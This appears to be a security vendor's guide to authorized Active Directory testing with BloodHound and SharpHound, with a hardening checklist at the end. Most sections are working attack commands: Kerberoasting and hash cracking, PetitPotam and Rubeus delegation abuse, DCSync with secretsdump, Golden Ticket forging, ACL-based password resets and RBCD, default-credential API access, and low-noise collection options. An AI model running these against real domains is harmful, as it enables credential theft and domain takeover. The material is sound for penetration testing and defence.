BloodHound and SharpHound Security Testing: Active Directory Attack Path Analysis

BloodHound maps Active Directory attack paths that would take a human analyst weeks to trace manually. By ingesting AD relationship data collected by SharpHound and visualizing it as a graph, BloodHound reveals Kerberoastable service accounts, unconstrained delegation nodes, DCSync rights holders, and lateral movement chains from any compromised user to Domain Admin. This guide covers authorized BloodHound and SharpHound security testing: collector deployment and credential exposure, BloodHound Community Edition API security, interpreting and executing attack path findings, and the hardening actions that actually reduce AD attack surface.

Table of Contents

  1. BloodHound Architecture and Components
  2. SharpHound Collection: Deployment and Credential Exposure
  3. BloodHound CE API Security
  4. Kerberoastable Accounts and Service Principal Names
  5. Unconstrained and Constrained Delegation Attacks
  6. DCSync Rights and Domain Compromise
  7. ACL Abuse: GenericAll, WriteDACL, and Ownership Attacks
  8. Shortest Path to Domain Admin Analysis
  9. BloodHound Detection and Evasion
  10. Attack Path Hardening Checklist

BloodHound Architecture and Components

BloodHound has two major variants: BloodHound Community Edition (CE), an open-source tool maintained by SpecterOps, and BloodHound Enterprise, the commercial product. Both use the same core graph model but differ in API design, authentication, and deployment. SharpHound is the primary data collector for Windows AD environments; BloodHound.py handles collection from Linux.

Key Components

ComponentDefault PortSecurity Risk
BloodHound CE Web UI / API8080Default admin:bloodhoundcommunityedition credentials; full AD data exposure
Neo4j Browser7474Default neo4j:neo4j; direct Cypher query access to all AD data
Neo4j Bolt Protocol7687Unauthenticated in older setups; programmatic DB access
SharpHound output ZIPFilesystemComplete AD relationship snapshot; high-value exfiltration target
BloodHound.py output JSONFilesystemSame as SharpHound; often left in /tmp or analyst workstations

SharpHound Collection: Deployment and Credential Exposure

SharpHound requires domain credentials to collect AD data. In an authorized pentest, the tester deploys SharpHound from a domain-joined host or with valid credentials. From a security perspective, SharpHound binaries, collection output files, and the credentials used for collection are all sensitive artifacts that require careful handling.

Running SharpHound

# Basic collection — all collection methods
SharpHound.exe -c All --outputdirectory C:\Temp\bh_output

# Collection from a non-domain-joined host with explicit credentials
SharpHound.exe -c All \
  --domain CORP.LOCAL \
  --ldapusername LDAP_USER \
  --ldappassword 'P@ssw0rd' \
  --domaincontroller 10.0.0.5 \
  --outputdirectory C:\Temp\bh_output

# Stealth collection (fewer noise, longer collection time)
SharpHound.exe -c DCOnly --stealth

# Collection targeting specific domain controllers
SharpHound.exe -c All --domaincontroller DC01.corp.local

# Exclude certain collection methods to reduce noise
# Skip session enumeration (reduces SMB traffic, harder to detect)
SharpHound.exe -c Default,ACL,Trusts,ObjectProps

# Linux/macOS collection via BloodHound.py
pip install bloodhound
bloodhound-python -u ldapuser -p 'P@ssw0rd' -d corp.local \
  -ns 10.0.0.5 -c All --zip

# Collection via LDAPS (encrypted)
bloodhound-python -u ldapuser -p 'P@ssw0rd' -d corp.local \
  -ns 10.0.0.5 -c All --use-ldaps

# Kerberos authentication (no password in command line)
KRB5CCNAME=/tmp/user.ccache bloodhound-python \
  -d corp.local -ns 10.0.0.5 -c All -k --no-pass

SharpHound Collection Data Sensitivity

# SharpHound ZIP files contain extremely sensitive AD data
# A leaked BloodHound dataset gives attackers a complete attack roadmap

# Contents of a typical SharpHound ZIP:
# - computers.json       — all computer objects, OS versions, enabled status
# - users.json           — all user accounts, SPNs, last logon, password policies
# - groups.json          — all groups and memberships
# - gpos.json            — Group Policy Objects and their scope
# - ous.json             — Organizational Unit structure
# - domains.json         — domain trusts and properties
# - containers.json      — container objects
# - sessions.json        — user sessions per computer (SMB-based, if collected)
# - acls.json            — Access Control Lists for all objects

# Find BloodHound collection files left on systems
find / -name "*.zip" -newer /etc/passwd 2>/dev/null | xargs file | grep "Zip archive"
find /tmp /home -name "20[0-9]*_BloodHound.zip" 2>/dev/null
find /tmp /home -name "computers.json" -o -name "users.json" | xargs ls -la 2>/dev/null

# Check for BloodHound data in common analyst locations
ls ~/Desktop/*.zip ~/Downloads/*.zip 2>/dev/null | head
find C:\Temp C:\Users -name "*BloodHound*" 2>/dev/null  # Windows

# Sensitive data within SharpHound output — users.json
python3 -c "
import json, zipfile, sys

with zipfile.ZipFile('20240101_BloodHound.zip', 'r') as z:
    with z.open('users.json') as f:
        data = json.load(f)

    print('=== Kerberoastable Users (hasSPN) ===')
    for user in data.get('data', []):
        props = user.get('Properties', {})
        if props.get('hasspn'):
            print(f\"  {props.get('name')}: SPNs: {props.get('serviceprincipalnames', [])}\")

    print()
    print('=== Users with Password Never Expires ===')
    for user in data.get('data', []):
        props = user.get('Properties', {})
        if props.get('passwordneverexpires') and props.get('enabled'):
            print(f\"  {props.get('name')}\")

    print()
    print('=== AdminCount=1 users (high-value targets) ===')
    for user in data.get('data', []):
        props = user.get('Properties', {})
        if props.get('admincount') and props.get('enabled'):
            print(f\"  {props.get('name')} — Last logon: {props.get('lastlogon')}\")
"

BloodHound CE API Security

BloodHound Community Edition exposes a REST API for data ingestion, Cypher queries, and management. The API requires JWT authentication. Default credentials (admin:bloodhoundcommunityedition) are documented and frequently not changed in lab or rapid-deployment setups. An attacker with API access can query the complete AD attack surface mapped in the database.

BloodHound CE Authentication and API Enumeration

# BloodHound CE default admin credentials
# Username: admin
# Password: bloodhoundcommunityedition  (change on first login)

# Authenticate to BloodHound CE API
BH_URL="http://localhost:8080"

# Step 1: Login to get JWT
LOGIN_RESPONSE=$(curl -s -X POST "$BH_URL/api/v2/login" \
  -H "Content-Type: application/json" \
  -d '{"login_method": "secret", "secret": "bloodhoundcommunityedition", "username": "admin"}')

TOKEN=$(echo "$LOGIN_RESPONSE" | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(data.get('data', {}).get('session_token', 'ERROR'))
")
echo "Token: $TOKEN"

# Step 2: Enumerate all domains in the database
curl -s "$BH_URL/api/v2/available-domains" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Step 3: List all users with attack path context
curl -s "$BH_URL/api/v2/users?count=true" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Step 4: Run built-in attack path queries
# BloodHound CE exposes a Cypher endpoint
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "MATCH (n:User {enabled: true, hasspn: true}) RETURN n.name, n.serviceprincipalnames LIMIT 25"}' \
  | python3 -m json.tool

# Step 5: Find shortest path to Domain Admins
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "MATCH p=shortestPath((n:User {enabled:true})-[*1..]->(g:Group {name:\"DOMAIN ADMINS@CORP.LOCAL\"})) RETURN p LIMIT 5"
  }' | python3 -m json.tool

Neo4j Direct Access

# Neo4j Browser UI (default: unauthenticated or neo4j:neo4j)
# Access: http://localhost:7474
# Execute Cypher queries directly, bypassing BloodHound auth

# Neo4j Bolt protocol for programmatic access
# pip install neo4j
python3 - <<'EOF'
from neo4j import GraphDatabase

# Default credentials
driver = GraphDatabase.driver("bolt://localhost:7687",
                               auth=("neo4j", "neo4j"))

with driver.session() as session:
    # Find all Kerberoastable users
    result = session.run("""
        MATCH (u:User {hasspn:true, enabled:true})
        RETURN u.name, u.serviceprincipalnames, u.admincount
        ORDER BY u.admincount DESC
        LIMIT 20
    """)
    print("=== Kerberoastable Users ===")
    for record in result:
        print(f"  {record['u.name']}: {record['u.serviceprincipalnames']}")

    # Find users with DCSync rights
    result = session.run("""
        MATCH (n)-[:GetChanges|GetChangesAll|GetChangesInFilteredSet*1..]->(d:Domain)
        RETURN n.name, labels(n) as type
        ORDER BY n.name
    """)
    print("\n=== Entities with DCSync rights ===")
    for record in result:
        print(f"  {record['n.name']} ({record['type']})")

driver.close()
EOF

Kerberoastable Accounts and Service Principal Names

Kerberoasting is one of the most impactful attack paths BloodHound identifies. Any domain user can request a Kerberos TGS ticket for any service account with a registered SPN. That ticket is encrypted with the service account's NTLM hash — crackable offline. Service accounts running as highly privileged users (Domain Admins, local admins on many servers) are the highest-value targets.

Enumerating and Executing Kerberoasting

# Find Kerberoastable accounts via LDAP (no BloodHound required)
# Using PowerView
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalnames,memberof

# Using native PowerShell / .NET
[System.DirectoryServices.DirectorySearcher]$searcher = [ADSI]""
$searcher.filter = "(&(objectClass=user)(servicePrincipalName=*)(!(samaccountname=krbtgt))(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$searcher.FindAll() | ForEach-Object {
    Write-Host "User: $($_.Properties.samaccountname) | SPN: $($_.Properties.serviceprincipalname)"
}

# Using Impacket from Linux
GetUserSPNs.py corp.local/ldapuser:'P@ssw0rd' -dc-ip 10.0.0.5 \
  -outputfile kerberoast_hashes.txt
# Outputs: $krb5tgs$23$... hashes ready for hashcat

# Crack Kerberoast hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AES-256 Kerberoasting (RC4 is disabled)
hashcat -m 19700 kerberoast_hashes_aes256.txt /usr/share/wordlists/rockyou.txt

# Prioritize Kerberoastable accounts by privilege (BloodHound Cypher)
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "MATCH (u:User {hasspn:true, enabled:true}) OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group) WHERE g.admincount=true RETURN u.name, u.serviceprincipalnames, count(g) as privileged_groups ORDER BY privileged_groups DESC"
  }' | python3 -c "
import json, sys
data = json.load(sys.stdin)
for row in data.get('data', {}).get('rows', []):
    print(f\"SPN account: {row[0]} | Privileged group memberships: {row[2]}\")
    print(f\"  SPNs: {row[1]}\")
"

Unconstrained and Constrained Delegation Attacks

Kerberos delegation allows a computer or service to authenticate to other resources on behalf of a user. Unconstrained delegation — where a server can authenticate to any service using a user's TGT — is the most dangerous configuration. Constrained delegation restricts which services the server can impersonate to, but certain configurations (with Protocol Transition, S4U2Self) still allow privilege escalation.

Finding Delegation Vulnerabilities

# BloodHound Cypher — find computers with unconstrained delegation
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "MATCH (c:Computer {unconstraineddelegation:true}) WHERE c.name <> \"DC01.CORP.LOCAL\" RETURN c.name, c.operatingsystem ORDER BY c.name"
  }' | python3 -m json.tool

# Non-DC computers with unconstrained delegation are high-value targets:
# If you compromise the computer account, you can capture TGTs of any user
# who authenticates to it (including Domain Admins)

# Find via LDAP directly
Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol

# Exploit: Printer Bug / SpoolSample to coerce DC authentication to unconstrained host
# From an unconstrained delegation host:
# 1. Set up TGT capture (Rubeus monitor)
Rubeus.exe monitor /interval:5 /filteruser:DC01$

# 2. Trigger DC authentication to your host via PrinterBug or PetitPotam
python3 PetitPotam.py -u LDAPUSER -p 'P@ssw0rd' UNCONSTRAINED_HOST DC01.corp.local

# 3. Rubeus captures the DC$ TGT; use for DCSync or pass-the-ticket
Rubeus.exe ptt /ticket:BASE64_TICKET

# Constrained delegation — find via LDAP and BloodHound
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
# Services listed in msDS-AllowedToDelegateTo are impersonatable

# S4U2Self abuse: if account has "TrustedToAuthForDelegation" flag,
# it can impersonate ANY user to itself, then delegate to target service
# This means: compromise the service account → impersonate Domain Admin → access target service

DCSync Rights and Domain Compromise

DCSync is a technique that abuses Active Directory replication rights to extract NTLM password hashes (and Kerberos keys) for any domain account — including krbtgt, which enables Golden Ticket attacks. BloodHound's GetChanges, GetChangesAll, and GetChangesInFilteredSet edges identify all entities with replication rights.

Finding and Exploiting DCSync Rights

# BloodHound Cypher — find entities with DCSync rights
# In BloodHound GUI: pre-built query "Find Principals with DCSync Rights"

# Manual Cypher:
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "MATCH p=(n)-[:GetChanges|GetChangesAll|GetChangesInFilteredSet*1..]->(d:Domain) RETURN n.name, labels(n) as type ORDER BY n.name"
  }' | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('Entities with DCSync replication rights:')
for row in data.get('data', {}).get('rows', []):
    print(f'  {row[0]} ({row[1]})')
"

# Legitimate DCSync holders: Domain Controllers, Domain Admins, Enterprise Admins
# Unexpected holders indicate misconfiguration or privilege escalation

# Check domain ACLs directly
# Using PowerView:
Get-DomainObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs | \
  Where-Object { $_.ObjectAceType -in ("DS-Replication-Get-Changes", "DS-Replication-Get-Changes-All") } | \
  Select-Object SecurityIdentifier, ObjectAceType | \
  Get-ObjectFromIdentity

# Execute DCSync with secretsdump (Impacket)
# Requires: account with GetChanges + GetChangesAll, or Domain Admin
secretsdump.py corp.local/privileged_user:'P@ssw0rd'@DC01.corp.local \
  -outputfile domain_hashes.txt

# DCSync for a specific account (targeted, less noisy)
secretsdump.py corp.local/admin:'P@ssw0rd'@DC01.corp.local \
  -just-dc-user krbtgt

# Result: krbtgt NTLM hash + Kerberos AES keys → Golden Ticket
# NT hash: aad3b435b51404eeaad3b435b51404ee:KRBTGT_NTLM_HASH

# Golden Ticket creation (post-DCSync)
# Requires: krbtgt NT hash, domain SID
ticketer.py -nthash KRBTGT_NTLM_HASH \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain corp.local \
  -user Administrator \
  Administrator

# Golden Ticket has a default 10-year validity
# Survives krbtgt password changes (single change; need two changes to invalidate)

ACL Abuse: GenericAll, WriteDACL, and Ownership Attacks

Active Directory Access Control Lists define who can read and write object properties. BloodHound maps these ACL relationships as edges like GenericAll, WriteDACL, WriteOwner, GenericWrite, and ForceChangePassword. A chain of ACL edges from a low-privileged user to Domain Admin is often the most realistic attack path BloodHound reveals in enterprise environments.

Key ACL Edges and Their Exploitation

BloodHound EdgeDescriptionExploitation
GenericAllFull control over objectReset password, add to groups, modify SPNs for Kerberoast
WriteDACLModify object's DACLGrant yourself GenericAll, then exploit
WriteOwnerChange object ownerTake ownership → WriteDACL → GenericAll chain
GenericWriteWrite to most object attributesSet SPN for Kerberoasting; set msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD
ForceChangePasswordForce reset without knowing current passwordReset target user's password and authenticate as them
AddMemberAdd members to a groupAdd yourself to privileged groups
AddSelfAdd yourself as a memberSelf-add to privileged group
AllExtendedRightsAll extended rights including password resetReset password, ForceChangePassword behavior
# BloodHound Cypher — find ACL attack paths from owned user to Domain Admins
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "MATCH p=shortestPath((u:User {name: \"COMPROMISED_USER@CORP.LOCAL\"})-[r:GenericAll|WriteDACL|WriteOwner|GenericWrite|ForceChangePassword|AddMember|AddSelf*1..5]->(g:Group {name: \"DOMAIN ADMINS@CORP.LOCAL\"})) RETURN p"
  }' | python3 -m json.tool

# GenericAll on a user — reset password
net rpc password TARGET_USER "NewP@ss123!" \
  -U "CORP/ATTACKER_USER%AttackerPass" -S DC01.corp.local

# GenericWrite — add SPN for Kerberoasting (targeted Kerberoasting)
# Using PowerView:
Set-DomainObject -Identity TARGET_USER -Set @{serviceprincipalnames="fake/spn"}
# Now Kerberoast TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /format:hashcat

# WriteDACL — grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity TARGET_USER \
  -PrincipalIdentity ATTACKER_USER -Rights All

# RBCD (Resource-Based Constrained Delegation) via GenericWrite on a computer
# Set msDS-AllowedToActOnBehalfOfOtherIdentity on target computer
# to your controlled machine account → impersonate Domain Admin to target
python3 rbcd.py -delegate-to "TARGET_COMPUTER$" \
  -delegate-from "ATTACKER_MACHINE$" \
  -action write corp.local/privileged_user:'P@ssw0rd'

Shortest Path to Domain Admin Analysis

BloodHound's core value is finding the shortest path from any compromised account to Domain Admin. In practice, the most dangerous paths combine multiple hop types: user → group membership → ACL → computer admin → local admin → cached credentials → privileged user → Domain Admin.

# BloodHound GUI built-in queries (accessible from the Queries tab)
# These are also runnable via the Cypher API:

# 1. Find All Domain Admin Paths from Kerberoastable Users
"MATCH p=shortestPath((u:User {hasspn:true, enabled:true})-[*1..]->(g:Group {admincount:true})) RETURN p LIMIT 10"

# 2. Find Computers Where Domain Users Can RDP
"MATCH p=(g:Group {name: 'DOMAIN USERS@CORP.LOCAL'})-[:CanRDP]->(c:Computer) RETURN p"

# 3. Find Unsupported Operating Systems
"MATCH (c:Computer) WHERE c.operatingsystem =~ '.*Windows XP.*|.*Windows 2000.*|.*Windows Server 2003.*|.*Windows Vista.*|.*Windows 7.*|.*Windows Server 2008.*' RETURN c.name, c.operatingsystem ORDER BY c.operatingsystem"

# 4. Identify all active users with path to DA
"MATCH (u:User {enabled:true}),(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}) MATCH p=shortestPath((u)-[*1..]->(g)) RETURN u.name, length(p) as hops ORDER BY hops LIMIT 20"

# 5. Find computers with local admin rights exposing high-value users
"MATCH p=(c:Computer)-[:HasSession]->(u:User)-[r:MemberOf*1..]->(g:Group {admincount:true}) RETURN c.name, u.name, g.name LIMIT 25"

# High-value analysis: count attack paths per user (blast radius if compromised)
curl -s -X POST "$BH_URL/api/v2/graphs/cypher" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "MATCH (u:User {enabled:true}),(da:Group {name: \"DOMAIN ADMINS@CORP.LOCAL\"}) WITH u, da MATCH p=shortestPath((u)-[*1..]->(da)) RETURN u.name, min(length(p)) as min_hops ORDER BY min_hops ASC LIMIT 20"
  }' | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('Users closest to Domain Admin (fewest hops):')
for row in data.get('data', {}).get('rows', []):
    print(f'  {row[0]}: {row[1]} hop(s)')
"

BloodHound Detection and Evasion

SharpHound generates distinctive LDAP query patterns and SMB session enumeration traffic. Modern EDR and SIEM solutions can detect BloodHound collection. Understanding detection logic helps defenders tune their monitoring and helps pentesters calibrate collection scope for authorized testing.

SharpHound Detection Signatures

# LDAP query patterns that indicate SharpHound collection:
# 1. High-volume LDAP queries for (objectClass=user)(objectClass=computer)(objectClass=group)
# 2. Enumeration of msDS-AllowedToDelegateTo, msDS-AllowedToActOnBehalfOfOtherIdentity
# 3. ACL enumeration: nTSecurityDescriptor reads on all domain objects
# 4. SPN enumeration: queries for servicePrincipalName on all objects

# Windows Event Log detection:
# Event 4662: Operation performed on an object (SACL-based; requires auditing enabled)
# Event 5136: Directory service object was modified
# Event 4768/4769: Kerberos TGT/TGS requests (for Kerberoasting)

# Sigma rule concept for SharpHound detection:
# Source: DC Security Event Log
# Event: 4662 with Properties containing:
#   - 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2  (GetChanges GUID)
#   - 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2  (GetChangesAll GUID)
# from non-DC sources

# Reduced-noise collection options for authorized testing:
# --stealth: disables session enumeration (no SMB traffic to all computers)
# --collectionmethods DCOnly: only queries the DC, no lateral LDAP to member servers
# --loop False: run once, no looping (reduces query volume)
SharpHound.exe -c DCOnly --stealth --outputdirectory C:\Temp\

# BloodHound.py stealth mode
bloodhound-python -u user -p pass -d corp.local -ns dc-ip \
  -c DcOnly --dns-timeout 5 --dns-tcp --zip
Authorization requirement: BloodHound and SharpHound collection against an Active Directory domain requires explicit written authorization from the domain owner. LDAP enumeration at scale is detectable and will alert security monitoring teams. Always confirm the rules of engagement before running SharpHound in production environments.

Attack Path Hardening Checklist

BloodHound's real value for defenders is as a continuous attack path management tool. The findings from a BloodHound assessment map directly to actionable hardening items. Reduce the number of users with paths to Domain Admin to near zero, and the blast radius of any credential compromise shrinks dramatically.

FindingRemediationPriority
Kerberoastable service accountsUse Group Managed Service Accounts (gMSA) with 120+ character automatically rotated passwords; disable RC4 encryption for service accountsCritical
Unconstrained delegation computersRemove "Trust this computer for delegation to any service (Kerberos only)" from all non-DC computers; enable Protected Users for privileged accountsCritical
Unexpected DCSync rightsAudit and remove GetChanges/GetChangesAll from non-DC accounts; use tiered administration modelCritical
Large groups with Domain Admin pathsTrim group memberships; remove Domain Users or Authenticated Users from groups with AD rightsHigh
ACL misconfigurations (GenericAll, WriteDACL)Run AD ACL audits; use BloodHound to find and remove unexpected edges; audit AdminSDHolder objectHigh
Credential exposure (sessions on non-privileged systems)Enforce tiered admin model; prohibit privileged users from logging into Tier 1/2 hosts; use PAWsHigh
BloodHound CE with default credentialsChange default admin password on first login; restrict BloodHound CE access to security team onlyHigh
SharpHound output files stored insecurelyEncrypt BloodHound zip output; delete after import; store only in secure analyst workstationsHigh
Stale computer objects with rightsRemove computer accounts inactive for 90+ days; audit computer account group membershipsMedium
No Protected Users enforcementAdd Domain Admins and service accounts to Protected Users group to disable NTLM, delegation, and DES/RC4 KerberosMedium

Extend Your AD Security Testing to Web Applications

BloodHound maps your Active Directory attack surface. Ironimo tests the web applications that authenticate against that AD — SSO integrations, SAML flows, Kerberos-authenticated APIs, and the external attack surface attackers use to gain their initial foothold.

Start free scan